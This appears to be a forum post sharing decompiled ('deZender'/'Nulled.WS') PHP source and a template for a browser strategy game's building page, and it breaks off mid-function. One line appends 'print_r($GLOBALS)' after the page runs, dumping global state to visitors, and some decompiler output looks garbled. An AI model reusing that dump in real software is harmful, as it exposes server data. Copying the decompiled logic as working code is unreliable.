    public function getPreviousLink( )    {        $text = "«";        if ( $this->pageIndex == 0 )        {            return $text;        }        $link = "";        if ( 0 < $this->selectedTabIndex )        {            $link .= "t=".$this->selectedTabIndex;        }        if ( 1 < $this->pageIndex )        {            if ( $link != "" )            {                $link .= "&";            }            $link .= "p=".( $this->pageIndex - 1 );        }        $link = "build.php?id=".$this->buildingIndex."&".$link;        return "<a href=\"".$link."\">".$text."</a>";    }
    public function getResourceGoldExchange( $neededResources, $itemId, $buildingIndex, $multiple = FALSE )    {        if ( $this->data['gold_num'] < $this->gameMetadata['plusTable'][6]['cost'] || 0 < $this->needMoreUpgrades( $neededResources, $itemId ) || $this->isResourcesAvailable( $neededResources ) && !$multiple )        {            return "";        }        $s1 = 0;        $s2 = 0;        $exchangeResource = "";        foreach ( $neededResources as $k => $v )        {            $s1 += $v;            $s2 += $this->resources[$k]['current_value'];            if ( $exchangeResource != "" )            {                $exchangeResource .= "&";            }            $exchangeResource .= "r".$k."=".$v;        }        $canExchange = $s1 <= $s2;        if ( $multiple && $canExchange )        {            $num = floor( $s2 / $s1 );            $exchangeResource = "";            foreach ( $neededResources as $k => $v )            {                if ( $exchangeResource != "" )                {                    $exchangeResource .= "&";                }                $exchangeResource .= "r".$k."=".$v * $num;            }        }        return " | <a href=\"build.php?bid=17&t=3&rid=".$buildingIndex."&".$exchangeResource."\" title=\"".buildings_p_m2m."\"><img class=\"npc".( $canExchange ? "" : "_inactive" )."\" src=\"assets/x.gif\" alt=\"".buildings_p_m2m."\" title=\"".buildings_p_m2m."\"></a>";    }
}
$p = new GPage( );$p->run( );print_r($GLOBALS);?>


And this is decoded of build.phtml


PHP:
<?php/**** @ This file is created by Decodeby.US* @ deZender Public (PHP5 Decompiler)** @	Version			:	1.0.0.0* @	Author			:	Ps2Gamer & Cyko* @	Release on		:	30.05.2011* @	Official site	:	http://decodeby.us**/
require_once( LANG_UI_PATH."build.php" );if ( !$this->buildProperties['emptyPlace'] ){    echo "<div id=\"build\" class=\"gid";    echo $this->buildProperties['building']['item_id'];    echo "\">\r\n\t<a href=\"\" onclick=\"return showManual(4, ";    echo $this->buildProperties['building']['item_id'];    echo ");\" class=\"build_logo\"><img class=\"building g";    echo $this->buildProperties['building']['item_id'];    echo "\" src=\"assets/x.gif\" alt=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\" title=\"";    echo htmlspecialchars( constant( "item_".$this->buildProperties['building']['item_id'] ) );    echo "\"></a>\r\n\t<h1>";    echo constant( "item_".$this->buildProperties['building']['item_id'] );    echo " ";    echo "<s";    echo "pan class=\"level\">";    echo level_lang;    echo " ";    echo $this->buildProperties['building']['level'];    echo "</span></h1>\r\n\t<p class=\"build_desc\"></p>\r\n\t<p>";    echo constant( "item_desc_".$this->buildProperties['building']['item_id'] );    echo "</p>\r\n\t<p></p>\r\n\r\n\t";    if ( 4 < $this->buildProperties['building']['item_id'] && 0 < $this->buildProperties['building']['update_state'] && $this->buildProperties['building']['level'] == 0 )    {        echo "\t<p></p><br/><p></p><p class=\"none\">";        echo LANGUI_BUILD_T1;        echo ".</p><p></p><br/><p></p>\r\n\t";    }    else    {        if ( $this->productionPane )        {            echo "\t<table cellpadding=\"1\" cellspacing=\"1\" id=\"build_value\">\r\n\t\t<tbody>\r\n\t\t\t<tr>\r\n\t\t\t\t<th>";            echo constant( "item_curprod_".$this->buildProperties['building']['item_id'] );            echo ":</th>\r\n\t\t\t\t<td><b>";            echo $this->buildProperties['level']['current_value'];            echo "</b> ";            echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );            echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            if ( $this->buildProperties['building']['level'] < $this->buildProperties['maxLevel'] )            {                echo "\t\t\t<tr>\r\n\t\t\t\t<th>";                echo constant( "item_nextprod_".$this->buildProperties['building']['item_id'] );                echo " ";                echo $this->buildProperties['nextLevel'];                echo ":</th>\r\n\t\t\t\t<td><b>";                echo $this->buildProperties['level']['value'];                echo "</b> ";                echo constant( "item_unit_".$this->buildProperties['building']['item_id'] );                echo "</td>\r\n\t\t\t</tr>\r\n\t\t\t";            }            echo "\t\t</tbody>\r\n\t</table>\r\n\t";        }        if ( $this->buildingView != "" )        {            require( VIEW_PATH."buildings/".$this->buildingView.".phtml" );        }    }    echo "\t";    if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['building']['level'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T2;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else if ( $this->buildProperties['maxLevel'] <= $this->buildProperties['upgradeToLevel'] && 0 < $this->buildProperties['building']['update_state'] )    {        echo "\t<p class=\"none\">";        echo LANGUI_BUILD_T4;        echo " ";        echo constant( "item_".$this->buildProperties['building']['item_id'] );        echo " ";        echo LANGUI_BUILD_T3;        echo "</p>\r\n\t";    }    else    {        echo "\t<p id=\"contract\">\r\n\t\t<b>";        echo LANGUI_BUILD_T5;        echo " </b> ";        echo LANGUI_BUILD_T6;        echo " ";        echo $this->buildProperties['nextLevel'];        echo ":<br>\r\n\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";        echo item_title_1;        echo "\" title=\"";        echo item_title_1;        echo "\">";        echo $this->buildProperties['level']['resources'][1];        echo " | \r\n\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";        echo item_title_2;        echo "\" title=\"";        echo item_title_2;        echo "\">";        echo $this->buildProperties['level']['resources'][2];        echo " | \r\n\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";        echo item_title_3;        echo "\" title=\"";        echo item_title_3;        echo "\">";        echo $this->buildProperties['level']['resources'][3];        echo " | \r\n\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";        echo item_title_4;        echo "\" title=\"";        echo item_title_4;        echo "\">";        echo $this->buildProperties['level']['resources'][4];        echo " | \r\n\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";        echo LANGUI_BUILD_T7;        echo "\" title=\"";        echo LANGUI_BUILD_T7;        echo "\">";        echo $this->buildProperties['level']['people_inc'];        echo " | \r\n\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";        echo text_period_lang;        echo "\" title=\"";        echo text_period_lang;        echo "\">";        echo WebHelper::secondstostring( $this->buildProperties['level']['calc_consume'] );        echo "\t\t";        echo $this->getResourceGoldExchange( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'], $this->buildingIndex );        echo "\t\t<br>";        echo $this->getActionText( $this->buildProperties['level']['resources'], $this->buildProperties['building']['item_id'] <= 4, TRUE, $this->buildProperties['building']['item_id'] );        echo "\t</p>\r\n\t";    }    echo "</div>\r\n";    if ( $this->buildProperties['building']['item_id'] <= 4 )    {        echo $this->getFlashContent( "assets/anm/res/r".$this->buildProperties['building']['item_id'].".swf", 130, 160 );    }}else{    echo "<s";    echo "cript language=\"JavaScript\" type=\"text/javascript\">\r\nfunction showPane(list) {\r\n\tvar build_list = _('build_list_'+list);\r\n\tvar link = _(list+'_link');\r\n\r\n\tif (build_list.className == 'hide') {\r\n\t\tbuild_list.className = '';\t\t\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T8;    echo "';\r\n\t} else {\r\n\t\tbuild_list.className = 'hide';\r\n\t\tlink.innerHTML = '";    echo LANGUI_BUILD_T9;    echo "';\r\n\t}\r\n}\r\n</script>\r\n<div id=\"build\" class=\"gid0\"><h1>";    echo LANGUI_BUILD_T10;    echo "</h1>\r\n\r\n";    foreach ( $this->newBuilds['available'] as $buildArray )    {        foreach ( $buildArray as $item_id => $build )        {            if ( $this->data['is_special_village'] )            {                do                {                    if ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 )                    {                        if ( !( $item_id != 40 ) )                        {                            break;                        }                        else                        {                            continue;                        }                    }                    if ( !( $item_id == 40 ) )                    {                        break;                    }                    continue;                } while ( 0 );            }            if ( $_GET['id'] == 39 && $item_id != 16 )            {                continue;            }            if ( $_GET['id'] == 40 && $item_id != 31 && $item_id != 32 && $item_id != 33 )            {                continue;            }            if ( $_GET['id'] != 39 && $_GET['id'] != 40 && ( $item_id == 16 || $item_id == 31 || $item_id == 32 || $item_id == 33 ) )            {                continue;            }            $neededResources = $build['levels'][0]['resources'];            echo "<h2>";            echo constant( "item_".$item_id );            echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";            echo constant( "item_desc_".$item_id );            echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";            echo $item_id;            echo ");\"><img class=\"building g";            echo $item_id;            echo "\" src=\"assets/x.gif\" alt=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\" title=\"";            echo htmlspecialchars( constant( "item_".$item_id ) );            echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"res\">\r\n\t\t\t\t<img class=\"r1\" src=\"assets/x.gif\" alt=\"";            echo item_title_1;            echo "\" title=\"";            echo item_title_1;            echo "\">";            echo $neededResources[1];            echo " | \r\n\t\t\t\t<img class=\"r2\" src=\"assets/x.gif\" alt=\"";            echo item_title_2;            echo "\" title=\"";            echo item_title_2;            echo "\">";            echo $neededResources[2];            echo " | \r\n\t\t\t\t<img class=\"r3\" src=\"assets/x.gif\" alt=\"";            echo item_title_3;            echo "\" title=\"";            echo item_title_3;            echo "\">";            echo $neededResources[3];            echo " | \r\n\t\t\t\t<img class=\"r4\" src=\"assets/x.gif\" alt=\"";            echo item_title_4;            echo "\" title=\"";            echo item_title_4;            echo "\">";            echo $neededResources[4];            echo " | \r\n\t\t\t\t<img class=\"r5\" src=\"assets/x.gif\" alt=\"";            echo LANGUI_BUILD_T7;            echo "\" title=\"";            echo LANGUI_BUILD_T7;            echo "\">";            echo $build['levels'][0]['people_inc'];            echo " | \r\n\t\t\t\t<img class=\"clock\" src=\"assets/x.gif\" alt=\"";            echo text_period_lang;            echo "\" title=\"";            echo text_period_lang;            echo "\">";            echo WebHelper::secondstostring( $build['levels'][0]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 100 ) );            echo "\t\t\t\t";            echo $this->getResourceGoldExchange( $neededResources, $item_id, $this->buildingIndex );            echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"link\">";            echo $this->getActionText( $neededResources, FALSE, FALSE, $item_id );            echo "</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";        }    }    echo "\r\n";    if ( $_GET['id'] != 39 && $_GET['id'] != 40 && !( $this->data['is_special_village'] && ( $_GET['id'] == 25 || $_GET['id'] == 26 || $_GET['id'] == 29 || $_GET['id'] == 30 || $_GET['id'] == 33 ) ) )    {        echo "<p class=\"switch\"><a id=\"soon_link\" href=\"javascript:showPane('soon');\">";        echo LANGUI_BUILD_T9;        echo "</a></p>\r\n<div id=\"build_list_soon\" class=\"hide\">\r\n\r\n";        foreach ( $this->newBuilds['soon'] as $buildArray )        {            foreach ( $buildArray as $item_id => $build )            {                echo "<h2>";                echo constant( "item_".$item_id );                echo "</h2>\r\n<table class=\"new_building\" cellpadding=\"1\" cellspacing=\"1\">\r\n\t<tbody>\r\n\t\t<tr>\r\n\t\t\t<td class=\"desc\"><p>";                echo constant( "item_desc_".$item_id );                echo "</p></td>\r\n\t\t\t<td rowspan=\"3\" class=\"bimg\">\r\n\t\t\t\t<a href=\"#\" onclick=\"return showManual(4, ";                echo $item_id;                echo ");\"><img class=\"building g";                echo $item_id;                echo "\" src=\"assets/x.gif\" alt=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\" title=\"";                echo htmlspecialchars( constant( "item_".$item_id ) );                echo "\"></a>\r\n\t\t\t</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td class=\"requ\">";                echo LANGUI_BUILD_T11;                echo ":</td>\r\n\t\t</tr>\r\n\t\t<tr>\r\n\t\t\t<td>\r\n\t\t\t";                $flag = FALSE;                foreach ( $build['pre_requests'] as $reqId => $reqValue )                {                    echo "\t\t\t";                    if ( $flag )                    {                        echo ", ";                    }                    echo "<a href=\"#\" onclick=\"return showManual(4,";                    echo $reqId;                    echo ");\">";                    if ( $reqValue == NULL )                    {                        echo "<strike>";                    }                    echo constant( "item_".$reqId );                    if ( $reqValue == NULL )                    {                        echo "</strike>";                    }                    echo "</a>";                    if ( $reqValue != NULL )                    {                        echo "<s";                        echo "pan title=\"";                        echo $build['pre_requests_dependencyCount'][$reqId] < 0 ? ">" : "+".$build['pre_requests_dependencyCount'][$reqId];                        echo "\"> ";                        echo level_lang;                        echo " ";                        echo $reqValue;                    }                    echo "</span>\r\n\t\t\t";                    $flag = TRUE;                }                echo "\t\t\t</td>\r\n\t\t</tr>\r\n\t</tbody>\r\n</table>\r\n";            }        }        echo "</div>\r\n";    }    echo "</div>\r\n";}?>
Hope you got what you wanted ..



Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    $this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    